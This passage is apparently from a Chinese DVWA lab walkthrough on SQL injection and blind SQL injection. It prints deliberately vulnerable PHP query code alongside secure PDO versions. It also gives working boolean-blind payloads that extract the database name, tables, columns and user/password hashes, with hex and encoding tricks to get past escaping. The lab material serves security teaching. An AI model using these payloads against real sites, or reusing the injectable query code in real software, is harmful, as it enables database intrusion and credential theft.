((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
经过对源码的查看,可以发现服务器后台,只是在SQL查询语句中添加了LIMIT 1,限制输出一个结果,但是可以在参数(id)值的后面添加注释符(#,–+,%23等),注释后面的limit;
EG:
id=1 and 1=1 #&Submit=Submit
//服务器返回页面正确(预期正确),尝试1=2;
id=1 and 1=2 #&Submit=Submit
//服务器返回页面正确(预期错误),用单引号代替进行构造;
id=1' and 1=1 #&Submit=Submit
//服务器返回页面正确(预期正确),尝试1=2;
id=1' and 1=1 #&Submit=Submit
//服务器返回页面正确(预期错误),参数id存在注入,为字符型注入,闭合字符为单引号(');
由于得出的参数(id)存在注入,且闭合字符为(’),可以采用LOW级别的方式获取数据库信息;
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
经过对源码的查看,可以发现服务器后台,采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有当返回的查询结果数量为一时,才会成功输出,这样就有效预防了数据库信息,Anti-CSRFtoken机制(token验证)的加入了进一步提高了安全性;
由于服务器在接受请求后,返回的页面存在无报错,无回显的情况,这时候如果再利用UNION联合查询法查看显位就失效了,只能基于SQL语句的True or False,并通过页面的不同(显示正确或者错误)来判断(时间盲注则是通过判断是否存在时间延迟)(报错注入则是通过用一些特殊的函数在特殊的情况下(如开启了mysql_error()),返回所想要获取的数据库信息),从而达到注入的目的来获取相应的信息;
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
经过对源码的查看,可以发现服务器后台,对参数(id)没有做任何检查、过滤,存在SQL注入漏洞(闭合字符为单引号),同时SQL语句查询返回的结果只有两种;
EG:
1' and 1=1 #
//服务器返回页面正确(预期正确),尝试1=2;
1' and 1=2 #
//服务器返回页面错误(预期错误),参数id存在注入,为字符型注入,闭合字符为单引号(');
猜解长度
EG:
...
1' and length(database())=4 #
//服务器返回页面正确(预期正确),当前数据库长度为(4);
猜解字符
EG:
...
1' and left(database(),1)='d' #
//服务器返回页面正确(预期正确),当前数据库的第一个字符为(d);
...
猜解表数量
EG:
...
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
//服务器返回页面正确(预期正确),当前数据库中的表的数量为(2);
猜解表名
EG:
...
1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='g' #
//服务器返回页面正确(预期正确),当前数据库的第一个表的第一个字符为(g);
...
EG:
...
1' and left((select group_concat(column_name)from information_schema.columns where table_name='users'),1)='u' #
...
//服务器返回页面正确,查询到表(users)的第一个字段名的第一个字符为(u);
EG:
...
1' and left((select group_concat(user,0x7c,password) from users),1)='a' #
//服务器返回页面正确,查询到表(users)的第一个字段(user)的第一个值的第一个字符为(a);
...
<?php
id=1 and left((select group_concat(user,0x7c,password) from users),1)=0x61 #&Submit=Submit
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
//mysql_close();
}
?>
经过对源码的查看,可以发现服务器后台,利用mysql_real_escape_string()函数对特殊符号(\x00,\n,\r,\,’,”,\x1a)进行转义,同时前端页面设置了下拉选择表单,限制了用户的输入;可以考虑使用(%df,%bf,%a0,%09,%0a,%0b,%0c等来绕过),同时使用抓包工具抓取数据包,更改数据包内容绕过前端限制;
EG:
id=1 and 1=1 #&Submit=Submit
//服务器返回页面正确(预期正确),尝试使用1=2进行构造;
id=1 and 1=2 #&Submit=Submit
//服务器返回页面错误(预期错误),参数id存在注入,为数字型注入;
猜解长度
EG:
...
id=1 and length(database())=4 #&Submit=Submit
//服务器返回页面正确(预期正确),当前数据库长度为(4);
猜解字符
EG:
...
id=1 and left(database(),1)='d' #&Submit=Submit
//服务器返回页面正确(预期正确),当前数据库的第一个字符为(d);
...
猜解表数量
EG:
...
id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=2 #&Submit=Submit
//服务器返回页面正确(预期正确),当前数据库中的表的数量为(2);
猜解表名
EG:
...
id=1 and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)=0x67 #&Submit=Submit
//服务器返回页面正确(预期正确),当前数据库的第一个表的第一个字符为(g)(十六进制绕过);
...
EG:
...
id=1 and left((select group_concat(column_name)from information_schema.columns where table_name=0x7573657273),1)=0x75 #&Submit=Submit
...
//服务器返回页面正确,查询到表(users)的第一个字段名的第一个字符为(u);
EG:
...
id=1 and left((select group_concat(user,0x7c,password) from users),1)=0x61 #&Submit=Submit
//服务器返回页面正确,查询到表(users)的第一个字段(user)的第一个值的第一个字符为(a);
...
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
经过对源码的查看,可以发现服务器后台,利用cookie传递参数(id),当SQL查询结果为空时,会执行函数sleep(seconds),会扰乱基于时间的盲注(通过服务器返回时间延迟来判断),同时在 SQL查询语句中添加了LIMIT 1,限制了只有输出一个结果,可以考虑使用布尔盲注,同时使用注释符绕过限制输出;
EG:
id=1' and 1=1 #&Submit=Submit
//服务器返回页面正确(预期正确),尝试使用1=2进行构造;
id=1' and 1=2 #&Submit=Submit
//服务器返回页面错误(预期错误),参数id存在注入,为字符型注入,闭合字符为单引号(');
猜解长度
EG:
...
id=1' and length(database())=4 #&Submit=Submit
//服务器返回页面正确(预期正确),当前数据库长度为(4);
猜解字符
EG:
...
id=1' and left(database(),1)='d' #&Submit=Submit
//服务器返回页面正确(预期正确),当前数据库的第一个字符为(d);
...
猜解表数量
EG:
...
id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #&Submit=Submit
//服务器返回页面正确(预期正确),当前数据库中的表的数量为(2);
猜解表名
EG:
...
id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='g' #&Submit=Submit
//服务器返回页面正确(预期正确),当前数据库的第一个表的第一个字符为(g)(十六进制绕过);
...
EG:
...
id=1' and left((select group_concat(column_name)from information_schema.columns where table_name='users'),1)=0x75 #&Submit=Submit
...
//服务器返回页面正确,查询到表(users)的第一个字段名的第一个字符为(u);
EG:
...
id=1' and left((select group_concat(user,0x7c,password) from users),1)='a' #&Submit=Submit
//服务器返回页面正确,查询到表(users)的第一个字段(user)的第一个值的第一个字符为(a);
...
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
经过对源码的查看,可以发现服务器后台,采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有当返回的查询结果数量为一时,才会成功输出,这样就有效预防了数据库信息,Anti-CSRFtoken机制(token验证)的加入了进一步提高了安全性;
跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,同时,XSS并不仅仅只限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS;